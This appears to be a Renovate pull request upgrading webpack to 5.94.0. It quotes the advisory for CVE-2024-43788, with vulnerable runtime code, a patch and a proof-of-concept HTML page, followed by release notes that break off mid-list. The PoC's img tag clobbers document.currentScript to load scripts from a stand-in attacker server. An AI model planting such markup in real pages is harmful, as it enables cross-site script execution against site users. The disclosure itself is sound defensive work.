chore(deps): update dependency webpack to v5.94.0 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
webpack	5.77.0 → 5.94.0

---

Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

CVE-2024-43788 / GHSA-4vvj-4cpr-p986

More information

Details

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
• https://nvd.nist.gov/vuln/detail/CVE-2024-43788
• https://github.com/webpack/webpack/commit/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61
• https://research.securitum.com/xss-in-amp4email-dom-clobbering
• https://scnps.co/papers/sp23_domclob.pdf
• https://github.com/webpack/webpack/issues/18718#issuecomment-2326296270
• https://github.com/advisories/GHSA-4vvj-4cpr-p986

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

webpack/webpack (webpack)

v5.94.0

Compare Source

Bug Fixes

• Added runtime condition for harmony reexport checked
• Handle properly data/http/https protocols in source maps
• Make bigint optimistic when browserslist not found
• Move @​types/eslint-scope to dev deps
• Related in asset stats is now always an array when no related found
• Handle ASI for export declarations
• Mangle destruction incorrect with export named default properly
• Fixed unexpected asi generation with sequence expression
• Fixed a lot of types

New Features

• Added new external type "module-import"
• Support webpackIgnore for new URL() construction
• [CSS] @import pathinfo support

Security

• Fixed DOM clobbering in auto public path

v5.93.0

Compare Source

Bug Fixes

• Generate correct relative path to runtime chunks
• Makes DefinePlugin quieter under default log level
• Fixed mangle destructuring default in namespace import
• Fixed consumption of eager shared modules for module federation
• Strip slash for pretty regexp
• Calculate correct contenthash for CSS generator options

New Features

• Added the binary generator option for asset modules to explicitly keep source maps produced by loaders
• Added the modern-module library value for tree shakable output
• Added the overrideStrict option to override strict or non-strict mode for javascript modules

v5.92.1

Compare Source

Bug Fixes

• Doesn't crash with an error when the css experiment is enabled and contenthash is used

v5.92.0

Compare Source

Bug Fixes

• Correct tidle range's comutation for module federation
• Consider runtime for pure expression dependency update hash
• Return value in the subtractRuntime function for runtime logic
• Fixed failed to resolve promise when eager import a dynamic cjs
• Avoid generation extra code for external modules when remapping is not required
• The css/global type now handles the exports name
• Avoid hashing for @keyframe and @property at-rules in css/global type
• Fixed mangle with destructuring for JSON modules
• The stats.hasWarnings() method now respects the ignoreWarnings option
• Fixed ArrayQueue iterator
• Correct behavior of __webpack_exports_info__.a.b.canMangle
• Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin
• Set the chunkLoading option to the import when environment is unknown and output is module
• Fixed when runtimeChunk has no exports when module chunkFormat used
• [CSS] Fixed parsing minimized CSS import
• [CSS] URLs in CSS files now have correct public path
• [CSS] The css module type should not allow parser to switch mode
• [Types] Improved context module types

New Features

• Added platform target properties to compiler
• Improved multi compiler cache location and validating it
• Support import attributes spec (with keyword)
• Support node: prefix for Node.js core modules in runtime code
• Support prefetch/preload for module chunk format
• Support "..." in the importsFields option for resolver
• Root module is less prone to be wrapped in IIFE
• Export InitFragment class for plugins
• Export compileBooleanMatcher util for plugins
• Export InputFileSystem and OutputFileSystem types
• [CSS] Support the esModule generator option for CSS modules
• [CSS] Support CSS when chunk format is module

v5.91.0

Compare Source

Bug Fixes

• Deserializer for ignored modules doesn't crash
• Allow the unsafeCache option to be a proxy object
• Normalize the snapshot.unmanagedPaths option
• Fixed fs types
• Fixed resolve's plugins types
• Fixed wrongly calculate postOrderIndex
• Fixed watching types
• Output import attrbiutes/import assertions for external JS imports
• Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same
• [CSS] Output layer/supports/media for external CSS imports

New Features

• Allow to customize the stage of BannerPlugin
• [CSS] Support CSS exports convention
• [CSS] support CSS local ident name
• [CSS] Support __webpack_nonce__ for CSS chunks
• [CSS] Support fetchPriority for CSS chunks
• [CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)
• [CSS] Support prefetch/preload for CSS chunks

v5.90.3

Compare Source

Bug Fixes

• don't mangle when destructuring a reexport
• types for Stats.toJson() and Stats.toString()
• many internal types
• [CSS] clean up export css local vars

Perf

• simplify and optimize chunk graph creation

v5.90.2

Compare Source

Bug Fixes

• use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values
• the setStatus() of the HMR module should not return an array, which may cause infinite recursion
• __webpack_exports_info__.xxx.canMangle shouldn't always same as default
• mangle export with destructuring
• use new runtime to reconsider skipped connections activeState
• make dynamic import optional in try/catch
• improve auto publicPath detection

Dependencies & Maintenance

• improve CI setup and include Node.js@​21

v5.90.1

Compare Source

Bug Fixes

• set unmanagedPaths in defaults
• correct preOrderIndex and postOrderIndex
• add fallback for MIME mismatch error in async wasm loading
• browsers versions of ECMA features

Performance

• optimize compareStringsNumeric
• optimize numberHash using 32-bit FNV1a for small ranges, 64-bit for larger
• reuse VM context across webpack magic comments

v5.90.0

Compare Source

Bug Fixes

• Fixed inner graph for classes
• Optimized RemoveParentModulesPlugin via bigint arithmetic
• Fixed worklet detection in production mode
• Fixed an error for cyclic importModule
• Fixed types for Server and Dirent
• Added the fetchPriority to hmr runtime's ensureChunk function
• Don't warn about dynamic import for build dependencies
• External module generation respects the output.environment.arrowFunction option
• Fixed consumimng shared runtime module logic
• Fixed a runtime logic of multiple chunks
• Fixed destructing assignment of dynamic import json file
• Passing errors array for a module hash
• Added /*#__PURE__*/ to generated JSON.parse()
• Generated a library manifest after clean plugin
• Fixed non amd externals and amd library
• Fixed a bug in SideEffectsFlagPlugin with namespace re-exports
• Fixed an error message for condition or
• The strictModuleErrorHandling is now working
• Clean up child compilation chunk graph to avoid memory leak
• [CSS] - Fixed CSS import prefer relative resolution
• [CSS] - Fixed CSS runtime chunk loading error message

New Features

• Allow to set false for dev server in webpack.config.js
• Added a warning for async external when not supported
• Added a warning for async module when not supported
• Added the node-module option for the node.__filename/__dirname and enable it by default for ESM target
• Added the snapshot.unmanagedPaths option
• Exposed the MultiCompilerOptions type
• [CSS] - Added CSS parser options to enable/disable named exports
• [CSS] - Moved CSS the exportsOnly option to CSS generator options

Dependencies & Maintenance

• use node.js LTS version for lint
• bump actions/cache from 3 to 4
• bump prettier from 3.2.1 to 3.2.3
• bump assemblyscript
• bump actions/checkout from 3 to 4

Full Changelog: webpack/webpack@v5.89.0...v5.90.0

v5.89.0

Compare Source

New Features

• Make CommonJS import preserve chained expressions by @​bworline in #​17718

Dependencies & Maintenance

• chore(deps-dev): bump @​types/node from 20.3.1 to 20.4.8 by @​dependabot in #​17568
• docs: add example for stats detailed output by @​ersachin3112 in #​17420
• docs: add example for stats normal output by @​ersachin3112 in #​17426
• chore(deps-dev): bump core-js from 3.31.0 to 3.32.0 by @​dependabot in #​17539
• chore(deps-dev): bump pretty-format from 29.5.0 to 29.6.2 by @​dependabot in #​17536
• chore(deps-dev): bump @​types/node from 20.4.8 to 20.4.9 by @​dependabot in #​17583
• chore(deps-dev): bump less from 4.1.3 to 4.2.0 by @​dependabot in #​17580
• chore(deps): bump semver from 5.7.1 to 5.7.2 by @​dependabot in #​17483
• chore(deps-dev): bump simple-git from 3.19.0 to 3.19.1 by @​dependabot in #​17427
• chore(deps-dev): bump @​types/node from 20.4.9 to 20.6.0 by @​dependabot in #​17666

Full Changelog: webpack/webpack@v5.88.2...v5.89.0

v5.88.2

Compare Source

Bug Fixes

• Fixed a bug where unused identifiers should retain names when using css modules by @​burhanuday in #​17444

Full Changelog: webpack/webpack@v5.88.1...v5.88.2

v5.88.1

Compare Source

Developer Experience

• Significantly improve TypeScript coverage for Library Plugins by @​alexander-akait in #​17414

Full Changelog: webpack/webpack@v5.88.0...v5.88.1

v5.88.0

Compare Source

New Features

• [CSS] - Use css/auto as the default css mode by @​burhanuday in #​17399

Bug Fixes

• Fix bugs related to require.context and layer by @​alexander-akait in #​17388
• Fix bug in runtime for CSS loading by @​alexander-akait in #​17400
• Correct indirect call for tagged template expressions using correct this context by @​alexander-akait in #​17397
• Update environment support for KaiOS browser by @​steverep in #​17395
• Fix async module runtime code for running top-level-await by @​ahabhgk in #​17393

Developer Experience

• Add example for stats minimal output by @​ersachin3112 in #​17406
• Significantly improve type coverage for Dependency, Runtime, Template classes by @​alexander-akait in #​17394

Dependencies & Maintenance

• Bump browserslist from 4.21.8 to 4.21.9 by @​dependabot in #​17389
• Bump acorn from 8.8.2 to 8.9.0 by @​dependabot in #​17402
• Bump eslint from 8.42.0 to 8.43.0 by @​dependabot in #​17401
• Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by @​dependabot in #​17407

New Contributors

• @​steverep made their first contribution in #​17395

Full Changelog: webpack/webpack@v5.87.0...v5.88.0

v5.87.0

Compare Source

New Features

• Implement fetchPriority feature as parser option and magic comment by @​alexander-akait in #​17249
• [CSS] - Introduce 'css/auto' as a css module type by @​ahabhgk in #​16577
• [CSS] - Style-specific fields now automatically resolve in package.json by @​burhanuday in #​17346
• webpack configuration API now accepts "falsy values" loaders and plugins by @​alexander-akait in #​17339

Bug Fixes

• Fix codecov badge in readme by @​burhanuday in #​17353

Developer Experience

• Add link to svelte loader for webpack by @​burhanuday in #​17369
• Increase parser API types in internal plugins across dependency plugins @​alexander-akait in #​17365

Dependencies & Maintenance

• Bump memfs from 3.5.2 to 3.5.3 by @​dependabot in #​17347
• Bump webpack-cli from 5.1.3 to 5.1.4 by @​dependabot in #​17349
• Bump es-module-lexer from 1.2.1 to 1.3.0 by @​dependabot in #​17362
• Bump @​types/node from 20.2.5 to 20.3.0 by @​dependabot in #​17361
• Bump core-js from 3.30.2 to 3.31.0 by @​dependabot in #​17360
• Bump browserslist from 4.21.6 to 4.21.8 by @​dependabot in #​17367
• Bump @​types/node from 20.3.0 to 20.3.1 by @​dependabot in #​17366

New Contributors

@​aboktor made their first contribution in #​16991 #​16989
@​silverwind made their first contribution in #​17339 via #​17329

Full Changelog: webpack/webpack@v5.86.0...v5.87.0

v5.86.0

Compare Source

New Features

• Improved cache size performance via better handling of serialization for errors and bigints by @​alexander-akait in #​17282
• Introduce an export default handler function option for ProgressPlugin by @​alexander-akait in #​17312
• Support passing RegExp to splitChunks.chunks by @​hyf0 in #​17332

Bug Fixes

• Fix layer capabilities for ContextModule types by @​huozhi in #​17310
• Fix compatibility of __non_webpack_require__ with ES modules by @​alexander-akait in #​17308
• Improve type coverage Chunk, ChunkGroup, and other plugins by @​alexander-akait in #​1731
• Do not add js extension for eval source maps when extension is not resolvable by @​alexander-akait in #​17331

Developer Experience

• Improve type coverage for Json Module type and lazy load json-assertions package by @​alexander-akait in #​17301

Dependencies & Maintenance

• Bump memfs from 3.5.1 to 3.5.2 by @​dependabot in #​17315
• Bump webpack-cli from 5.1.1 to 5.1.3 by @​dependabot in #​17314
• Bump eslint from 8.41.0 to 8.42.0 by @​dependabot in #​17313

New Contributors

• @​huozhi made their first contribution in #​17310
• @​hyf0 made their first contribution in #​17332

Full Changelog: webpack/webpack@v5.85.1...v5.86.0

v5.85.1

Compare Source

Bug Fixes

• Fix bug in handling barrel imports (#​17305) by @​bworline in #​17307 - NOTE: An internal API BasicEvaluatedExpression.getMemberRangeStarts has been changed to BasicEvaluatedExpression.getMemberRanges, please see type definition changes and the pull request for more information.

Dependencies & Maintenance

• Bump @​types/jest from 29.5.1 to 29.5.2 by @​dependabot in #​17297

Full Changelog: webpack/webpack@v5.85.0...v5.85.1

v5.85.0

Compare Source

New Features

• Add readonly cache mode by @​vankop in #​15470
• Normalize property accessors for esm namespaces and chained member/call expressions by @​bworline in #​17203
• Support environment in loader context by @​alexander-akait in #​17281
• Introduce a new syntax for addModule() support in worklets - *context.audioWorklet.addModule() by @​alexander-akait in #​17212

Bug Fixes

• Fix type regression with unknown module type strings by @​alexander-akait in #​17266

Developer Experience

• Use global runtime constants for webpack exports by @​burhanuday in #​17270
• Add strict mode type coverage for WASM and Runtime code by @​alexander-akait in #​17267
• Add strict mode type coverage for runtime modules and runtime plugins by @​alexander-akait in #​17261
• Add types for JSON & Asset Modules including their interfacing plugins by @​alexander-akait in #​17262
• Add type coverage for Module subclasses and plugins by @​alexander-akait in #​17272

Dependencies & Maintenance

• Use GitHub Discussions instead of Gitter in issue templates by @​snitin315 in #​17293
• Bump @​types/node from 20.2.3 to 20.2.4 by @​dependabot in #​17269
• Bump browserslist from 4.21.5 to 4.21.6 by @​dependabot in #​17275
• Bump @​types/node from 20.2.4 to 20.2.5 by @​dependabot in #​17276
• Bump @​babel/core from 7.21.8 to 7.22.1 by @​dependabot in #​17278

Full Changelog: webpack/webpack@v5.84.1...v5.85.0

v5.84.1

Compare Source

Bug Fixes

• Fix regression in inner graph for reserved identifiers by @​alexander-akait in #​17265

Dependencies & Maintenance

• Bump @​types/jest from 29.5.0 to 29.5.1 by @​dependabot in #​17027
• Bump simple-git from 3.18.0 to 3.19.0 by @​dependabot in #​17263

Full Changelog: webpack/webpack@v5.84.0...v5.84.1

v5.84.0

Compare Source

New Features

• SourceMapDevToolPlugin now supports append option as a function by @​snitin315 in #​17252

Bug Fixes

• Fix multiple bugs referencing class names when shadowed by import name in properties and methods by @​alexander-akait in #​17233
• Allow DefinePlugin shorthand property by @​shamoilarsi in #​17231
• [CSS] - Fix edge cases in parsing @import by @​alexander-akait in #​17229

Developer Experience

• Increase type coverage for serialization classes by @​alexander-akait in #​17243
• Increase type coverage for JavascriptParser and ModuleDependency subclasses by @​alexander-akait in #​17236
• Increase type coverage to strict-mode quality for Configuration/Normalization objects by @​alexander-akait in #​17247
• Refactor duplicate strings by replacing them with constant for webpack_require instead of string literal by @​burhanuday in #​17228
• Add test case for with { type: "json" } by @​alexander-akait in #​17230
• Add test case for destructuring by @​alexander-akait in #​17248

Dependencies & Maintenance

• Add GitHub discussions badge in README by @​snitin315 in #​17251
• Bump enhanced-resolve to 5.14.1 by @​TheLarkInn in #​17257
• Bump @​types/node from 20.1.7 to 20.2.0 by @​dependabot in #​17219
• Bump @​types/node from 20.2.0 to 20.2.1 by @​dependabot in #​17226
• Bump webpack-cli from 5.1.0 to 5.1.1 by @​dependabot in #​17164
• Bump eslint from 8.39.0 to 8.40.0 by @​dependabot in #​17148
• Bump @​babel/core from 7.21.4 to 7.21.8 by @​dependabot in #​17126
• Bump @​types/node from 20.2.1 to 20.2.3 by @​dependabot in #​17238
• Bump eslint from 8.40.0 to 8.41.0 by @​dependabot in #​17237

New Contributors

• @​shamoilarsi made their first contribution in #​17231

Full Changelog: webpack/webpack@v5.83.1...v5.84.0

v5.83.1

Compare Source

Bug Fixes

• Fix regression in import/export normailization effecting mini-css-extract-plugin by @​alexander-akait in #​17214

Full Changelog: webpack/webpack@v5.83.0...v5.83.1

v5.83.0

Compare Source

New Features

• Normalize property access for imports and exports by @​bworline in #​17137
• Top Level Await is now enabled by default by @​burhanuday in #​17192

Bug Fixes

• Correct chunkgroup.groupsIterable return type by @​TheLarkInn in #​17196
• Fix bug in Rule Matcher type by @​alexander-akait in #​17207
• Fixed apply event callback and optimizing callback event type by @​nuintun in #​16094
• Fix types in hot module replacement APIs by @​alexander-akait in #​17193

Developer Experience

• Expose ChunkGroup to type definitions by @​TheLarkInn in #​17201
• Add NormalModuleFactory's ResolveData type to public interface by @​TheLarkInn in #​17195
• Document compilation.afterChunks hook by @​TheLarkInn in #​17202

Dependencies & Maintenance

• Bump @​webassemblyjs/wasm-edit from 1.11.5 to 1.11.6 by @​dependabot in #​17168
• Bump wast-loader from 1.11.5 to 1.11.6 by @​dependabot in #​17163
• Bump yarn-deduplicate from 6.0.1 to 6.0.2 by @​dependabot in #​17184
• Fix command by @​alexander-akait in #​17154
• Bump @​types/node from 18.16.3 to 20.1.7 by @​dependabot in #​17205

New Contributors

• @​bworline made their first contribution in #​17137
• @​nuintun made their first contribution in #​16094

Full Changelog: webpack/webpack@v5.82.1...v5.83.0

v5.82.1

Compare Source

Bug Fixes

• [CSS] - Support nesting in CSS modules and bug fixes by @​alexander-akait in #​17133
• [CSS] - Fix crash with importModule when CSS enabled by @​alexander-akait in #​17140
• Fix bug where output.hashFunction was failing to generate debug hash by @​ahabhgk in #​16950
• Reduce the amount of generated code for chunk loading by @​lvivski in #​17151
• Use module preload for ESM module output by @​alexander-akait in #​17143

Developer Experience

• Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by @​TheLarkInn in #​17136

Dependencies & Maintenance

• Update package.json description by @​JeraldVin in #​17145
• Bump webpack-cli from 5.0.2 to 5.1.0 by @​dependabot in #​17146
• Bump core-js from 3.30.1 to 3.30.2 by @​dependabot in #​17149
• Bump enhanced-resolve to v5.14.0 by @​snitin315 in #​17160

New Contributors

• @​JeraldVin made their first contribution in #​17145

Full Changelog: webpack/webpack@v5.82.0...v5.82.1

v5.82.0

Compare Source

New Features

• [CSS] - Add URL dependencies support to consume shared module via module federation by @​snitin315 in #​16945
• Allow webpack-cli to be in ESM by @​alexander-akait in #​17088
• Allow specifying "onPolicyCreationFailure" mode for trusted types by @​Zlatkovsky in #​16990

Bug Fixes

• [CSS] - Respect media/supports/layer from parent CSS module by @​alexander-akait in #​17115
• [CSS] - Add warning & support for any @​import rules must precede all other rules by @​alexander-akait in #​17118
• [CSS] - Support handling #hash URL as external (similar to Parcel) by @​alexander-akait in #​17116
• Optimize numberHash.js performance by removing inner loops by @​alexkuz in #​17074
• Improve template string comparison algorithm by @​An0nie in #​17079

Tests & Contributor Experience

• [CSS] - Increase imports external test coverage by @​alexander-akait in #​17089
• Improve PR reliability via ignoring unstable coverage by @​alexander-akait in #​17106
• Update webpack types to support extends property in webpack (for webpack-cli) by @​burhanuday in #​17113

Developer Experience

• Increase type coverage and documentation for StringXor class. by @​TheLarkInn in #​17070
• Increase type coverage & docs for numberHash by @​TheLarkInn in #​17072
• Increase type coverage & docs for JavascriptParser by @​TheLarkInn in #​17094
• Increase type coverage & docs for BasicEvaluatedExpression by @​TheLarkInn in #​17096
• Increase type coverage for CSS module type by @​alexander-akait in #​17097
• Increase type coverage for JSON module type by @​alexander-akait in #​17095
• Increase type coverage & docs for multiple utility classes by @​alexander-akait in #​17107

Dependencies & Maintenance

• chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by @​dependabot in #​17075
• chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by @​dependabot in #​17052
• chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by @​dependabot in #​17064
• chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by @​dependabot in #​17109
• chore(deps-dev): bump @​types/node from 18.16.2 to 18.16.3 by @​dependabot in #​17112
• chore(deps-dev): bump @​types/node from 18.15.13 to 18.16.2 by @​dependabot in #​17084
• chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by @​dependabot in #​17054
• chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by @​dependabot in #​17111

New Contributors

• @​An0nie made their first contribution in #​17079
• @​burhanuday made their first contribution in #​17113
• @​Zlatkovsky made their first contribution in #​16990

Full Changelog: webpack/webpack@v5.81.0...v5.82.0

v5.81.0

Compare Source

New Features

• [CSS] - Increased CSS import support and new hooks included for CSS module creation by @​alexander-akait in #​17057
• Logging now added to DefinePlugin by @​alexander-akait in #​17048
• New ignoreBrowserWarnings option to ignore browser console warnings in ModuleFederation by @​indeediansbrett in #​16388

Bug Fixes

• [CSS] - Fix issue where vendor prefixed keyframes and animation was not supported in CSS modules by @​alexander-akait in #​16975
• Fix bug where AST was not properly handled by @​quanru in #​17032
• Fix automatic publicPath detection logic by @​alexander-akait in #​17047

Tests & Contributor Experience

• Rename provide to getOrInsert in MapHelpers and document it better by @​TheLarkInn in #​17060
• Increase test reliability for DefinePlugin @​alexander-akait in #​17062
• Add additional CI Pipeline to test main branches of first-party webpack dependencies by @​alexander-akait in #​17020
• Refactor tests to no longer use deprecated or legacy dependencies and APIs by @​alexander-akait in #​17033

Developer Experience

• Increase type coverage/documentation for ModuleFilenameHelpers by @​TheLarkInn in #​17045
• Increase type coverage/documentation for CommonJsExportsParserPlugin by @​TheLarkInn in [#​

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